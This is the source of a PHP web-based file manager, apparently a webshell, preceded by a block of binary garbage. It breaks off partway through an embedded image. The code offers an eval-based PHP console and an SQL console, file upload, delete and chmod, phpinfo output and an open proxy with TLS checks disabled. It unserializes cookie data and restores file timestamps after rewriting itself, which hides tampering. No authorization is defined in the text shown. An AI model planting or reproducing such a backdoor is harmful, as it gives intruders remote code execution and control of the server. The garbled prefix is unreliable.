w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZ